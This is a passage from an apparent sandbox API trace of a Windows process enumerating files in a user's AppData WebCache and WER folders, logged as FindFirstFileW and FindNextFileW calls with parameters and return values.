ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.980] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6957182f, ftCreationTime.dwHighDateTime=0x1d5e878, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0179.981] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6957182f, ftCreationTime.dwHighDateTime=0x1d5e878, ftLastAccessTime.dwLowDateTime=0x6957182f, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x6957182f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 0 [0179.981] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x38 [0179.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x38 [0179.981] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x39f10df7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcdfcb959, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdfcb959, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.981] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x39f10df7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcdfcb959, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdfcb959, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.981] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eaf750, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43eaf750, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x15f7c5a, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb7ffdaa6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcdcaa6ea, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf3c8cc16, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf17fcca2, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V010004F.log", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf52c214c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x22593636, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100050.log", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7f98f9f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcdff1c06, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100051.log", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e89537, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43e89537, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43eaf750, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eaf750, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43eaf750, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43eaf750, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x196d0d95, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xed8b81f9, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0179.982] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ed59ae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43ed59ae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x7018d270, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x2200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0179.983] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce6d1255, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce6d1255, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3987a97c, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.jfm", cAlternateFileName="WEBCAC~1.JFM")) returned 1 [0179.983] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.983] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x38 [0179.983] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x39f10df7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcdfcb959, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdfcb959, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.983] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x39f10df7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcdfcb959, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xcdfcb959, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.983] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eaf750, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43eaf750, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x15f7c5a, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb7ffdaa6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcdcaa6ea, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf3c8cc16, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf17fcca2, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V010004F.log", cAlternateFileName="")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf52c214c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x22593636, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100050.log", cAlternateFileName="")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7f98f9f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcdff1c06, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100051.log", cAlternateFileName="")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43e89537, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43e89537, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43eaf750, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eaf750, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43eaf750, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43eaf750, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0179.985] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ce5c0e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x196d0d95, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xed8b81f9, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0179.985] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ed59ae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43ed59ae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x7018d270, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x2200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0179.985] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce6d1255, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce6d1255, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3987a97c, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.jfm", cAlternateFileName="WEBCAC~1.JFM")) returned 1 [0179.985] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce6d1255, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce6d1255, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3987a97c, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.jfm", cAlternateFileName="WEBCAC~1.JFM")) returned 0 [0179.985] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", lpFilePart=0x0) returned 0x33 [0179.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", lpFilePart=0x0) returned 0x33 [0179.985] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.986] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.986] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1 [0179.987] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 0 [0179.987] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER", lpFilePart=0x0) returned 0x33 [0179.987] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.987] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa64c01, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.988] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1 [0179.988] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.988] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC", lpFilePart=0x0) returned 0x37 [0179.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC", lpFilePart=0x0) returned 0x37 [0179.988] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.988] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa64c01, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa64c01, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.988] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fa8ae29, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x9fa8ae29, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x9fa8ae29, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewedids.resp", cAlternateFileName="VIEWED~1.RES")) returned 1 [0179.989] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, 